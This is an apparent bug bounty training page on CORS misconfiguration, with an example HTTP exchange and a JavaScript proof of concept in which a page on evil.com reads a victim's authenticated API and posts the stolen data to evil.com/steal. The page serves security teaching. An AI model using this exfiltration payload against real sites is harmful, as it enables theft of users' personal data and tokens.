CORS Misconfiguration

High

Cross-Origin Resource Sharing Misconfiguration

Definition

A CORS misconfiguration occurs when a server defines overly permissive Cross-Origin Resource Sharing policies, allowing malicious websites to read responses from the authenticated API. This can enable theft of the user's sensitive data from an attacker-controlled domain.

Impact

Theft of the authenticated user's personal dataReading responses from private APIs from a malicious domainExfiltration of tokens and credentialsUnauthorized access to account features

Examples

CORS with origin reflection

The server automatically reflects the attacker's Origin header and allows credentials. This lets any website read the responses of the user's authenticated API.

# The server reflects any origin into Access-Control-Allow-Origin
# Request from the attacker's domain:

GET /api/me HTTP/1.1
Host: victim.com
Origin: https://evil.com
Cookie: session=abc123

# Server response (vulnerable):
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"email": "victim@example.com", "token": "secret123"}

Exploitation with JavaScript

From their malicious page, the attacker makes a request to the victim's API. Since CORS allows the origin and credentials, the browser includes the cookies and the attacker receives the response with the private data.

<!-- Attacker's page on evil.com -->
<script>
fetch('https://victim.com/api/me', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Send the stolen data to the attacker's server
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>

Practice CORS Misconfiguration with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime